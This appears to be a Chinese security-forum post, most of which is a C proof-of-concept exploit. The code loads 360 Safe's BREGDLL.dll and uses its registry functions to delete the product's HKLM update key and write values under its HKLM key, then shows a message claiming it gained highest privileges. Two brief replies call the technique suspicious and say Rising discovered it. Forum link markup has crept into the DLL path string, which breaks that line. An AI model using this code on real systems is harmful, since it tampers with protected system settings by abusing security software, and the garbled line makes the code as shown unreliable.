瑞星卡卡安全论坛

typedef BOOL (WINAPI *INIT_REG_ENGINE)();
typedef LONG (WINAPI *BREG_DELETE_KEY)(HKEY hKey, LPCSTR lpSubKey);
typedef LONG (WINAPI *BREG_OPEN_KEY)(HKEY hKey, LPCSTR lpSubKey, PHKEY phkResult);
typedef LONG (WINAPI *BREG_CLOSE_KEY)(HKEY hKey);
typedef LONG (WINAPI *REG_SET_VALUE_EX)(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE* lpData, DWORD cbData);

BREG_DELETE_KEY BRegDeleteKey = NULL;
BREG_OPEN_KEY BRegOpenKey = NULL;
BREG_CLOSE_KEY BRegCloseKey = NULL;
REG_SET_VALUE_EX BRegSetValueEx = NULL;

#define AppPath "Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\360safe.exe"

#define TestDeleteKey HKEY_LOCAL_MACHINE
#define TestDeleteRegPath "Software\\360Safe\\Update"

#define TestSetKey HKEY_LOCAL_MACHINE
#define TestSetPath "Software\\360Safe"

BOOL InitBRegDll()
{
LONG lResult;
HKEY hKey;

CHAR cPath[MAX_PATH + 32] = { 0 };
DWORD dwPathLen = MAX_PATH;

lResult = RegOpenKeyA(HKEY_LOCAL_MACHINE, AppPath, &hKey);
if (FAILED(lResult))
return FALSE;

DWORD dwType = REG_SZ;
lResult = RegQueryValueExA(hKey, "Path", NULL, &dwType, (LPBYTE)cPath, &dwPathLen);
RegCloseKey(hKey);
if (FAILED(lResult))
return FALSE;

strcat(cPath, "[url=file://\\deepscan\\BREGDLL.dll]\\deepscan\\BREGDLL.dll[/url]");

HMODULE modBReg = LoadLibraryA(cPath);
if (!modBReg)
return FALSE;

INIT_REG_ENGINE InitRegEngine = (INIT_REG_ENGINE)GetProcAddress(modBReg, "InitRegEngine");
BRegDeleteKey = (BREG_DELETE_KEY)GetProcAddress(modBReg, "BRegDeleteKey");
BRegOpenKey = (BREG_OPEN_KEY)GetProcAddress(modBReg, "BRegOpenKey");
BRegCloseKey = (BREG_CLOSE_KEY)GetProcAddress(modBReg, "BRegCloseKey");
BRegSetValueEx = (REG_SET_VALUE_EX)GetProcAddress(modBReg, "BRegSetValueEx");

if (!InitRegEngine || !BRegDeleteKey || !BRegOpenKey || !BRegCloseKey || !BRegSetValueEx) {
FreeLibrary(modBReg);
return FALSE;
}

if (!InitRegEngine()) {
FreeLibrary(modBReg);
return FALSE;
}

return TRUE;
}

LONG TestSetRegKey()
{
HKEY hKey;
LONG lResult;
lResult = BRegOpenKey(TestSetKey, TestSetPath, &hKey);
if (FAILED(lResult))
return lResult;
DWORD dwType = REG_SZ;
static char szData[] = "TEST VALUE";
lResult = BRegSetValueEx(hKey, TestSetPath, NULL, dwType, (const BYTE *)&szData, (DWORD)sizeof(szData));
BRegCloseKey(hKey);
return lResult;
}
int main(int argc, char *argv[])
{
if (!InitBRegDll()) {
MessageBoxA(NULL, "初始化BReg失败!", "失败", MB_ICONSTOP);
return 1;
}
if (FAILED(BRegDeleteKey(TestDeleteKey, TestDeleteRegPath))) {
MessageBoxA(NULL, "键值删除失败!", "失败", MB_ICONSTOP);
return 2;
}
if (FAILED(TestSetRegKey())) {
MessageBoxA(NULL, "设置键值失败!", "失败", MB_ICONSTOP);
return 3;
}
MessageBoxA(NULL, "突破系统安全检查，获得最高权限，漏洞利用成功!", "成功", MB_OK);
return 0;
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用户系统信息：Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)

这个东西我曾经在几个日志里看到。很可疑。

这个优酷上有视频，就是讲这个漏洞的。。还是瑞星发现的呢。